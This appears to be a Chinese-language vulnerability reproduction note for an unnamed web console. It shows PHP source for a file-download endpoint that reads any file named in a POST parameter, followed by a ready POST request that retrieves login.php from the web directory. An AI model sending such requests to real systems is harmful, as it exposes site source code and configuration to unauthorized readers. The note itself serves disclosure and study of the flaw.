|
||
|
||
## 漏洞复现
|
||
|
||
登录页面
|
||
|
||
|
||
|
||
存在漏洞的文件`/Console/receive_file/get_file_content.php`
|
||
|
||
```
|
||
<?php
|
||
if(stripos($_POST['filepath'],"..") !== false) {
|
||
echo 'no file founggd';
|
||
exit();
|
||
}
|
||
ini_set("open_basedir", "../");
|
||
$file_path = '../'.iconv("utf-8","gb2312",$_POST['filepath']);
|
||
if(!file_exists($file_path)){
|
||
echo 'no file founggd';
|
||
exit();
|
||
}
|
||
|
||
$fp=fopen($file_path,"r");
|
||
$file_size=filesize($file_path);
|
||
|
||
$buffer=5024;
|
||
$file_count=0;
|
||
|
||
while(!feof($fp) && $file_count<$file_size){
|
||
$file_con=fread($fp,$buffer);
|
||
$file_count+=$buffer;
|
||
echo $file_con;
|
||
}
|
||
fclose($fp);
|
||
?>
|
||
```
|
||
|
||
|
||
|
||
文件中没有任何的过滤 通过 filepaht 参数即可下载任意文件
|
||
|
||
由于不能出现 `..` ，所以只能读取web目录下的文件
|
||
|
||
```
|
||
POST /receive_file/get_file_content.php
|
||
|
||
filepath=login.php
|
||
```
|
